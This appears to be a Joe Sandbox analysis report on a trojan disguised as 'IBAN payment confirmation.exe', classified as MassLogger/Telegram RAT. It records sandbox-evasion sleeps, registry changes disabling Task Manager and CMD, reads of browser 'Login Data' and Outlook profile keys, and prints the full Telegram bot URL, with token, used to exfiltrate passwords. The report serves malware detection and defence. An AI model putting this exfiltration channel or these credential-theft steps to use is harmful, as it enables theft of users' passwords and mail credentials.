Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595341s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -594999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe TID: 4876	Thread sleep time: -594562s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405772
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_0040622D FindFirstFileW,FindClose,	0_2_0040622D
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00402770 FindFirstFileW,	11_2_00402770
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	11_2_00405772
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_0040622D FindFirstFileW,FindClose,	11_2_0040622D

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597655	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595341	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594999	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.00000000069F8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A4C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	API call chain: ExitProcess graph end node			graph_0-4798
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	API call chain: ExitProcess graph end node			graph_0-4803

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Process created: C:\Users\user\Desktop\IBAN payment confirmation.exe "C:\Users\user\Desktop\IBAN payment confirmation.exe"

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Users\user\Desktop\IBAN payment confirmation.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0C

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IBAN payment confirmation.exe PID: 3824, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IBAN payment confirmation.exe PID: 3824, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IBAN payment confirmation.exe PID: 3824, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IBAN payment confirmation.exe PID: 3824, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IBAN payment confirmation.exe PID: 3824, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IBAN payment confirmation.exe	16%	ReversingLabs
IBAN payment confirmation.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://reallyfreegeoip.orgP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high
https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.orgP	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/4	IBAN payment confirmation.exe, 0000000B.00000002.2509476832.00000000069F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FCC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	IBAN payment confirmation.exe, 0000000B.00000003.2179357888.0000000006A60000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2179458705.0000000006A65000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2146619589.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A5F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036F31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	IBAN payment confirmation.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036F31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/d	IBAN payment confirmation.exe, 0000000B.00000002.2509476832.00000000069F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567427
Start date and time:	2024-12-03 15:17:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IBAN payment confirmation.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 114 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: IBAN payment confirmation.exe

Simulations

Behavior and APIs

Time	Type	Description
10:42:37	API Interceptor	127x Sleep call for process: IBAN payment confirmation.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.67.152	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Gastroptosis (5).exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Fonts.exe	Get hash	malicious	MassLogger RAT	Browse
	PO80330293.exe	Get hash	malicious	MassLogger RAT	Browse
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
132.226.247.73	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	021337ISOGENERAL.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO80330293.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	RYSUNEK_.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	MICROCHIP QFP3 22 - 25000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RRT78-89079090GFVU0-INVRYU-FVIOJ0I.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
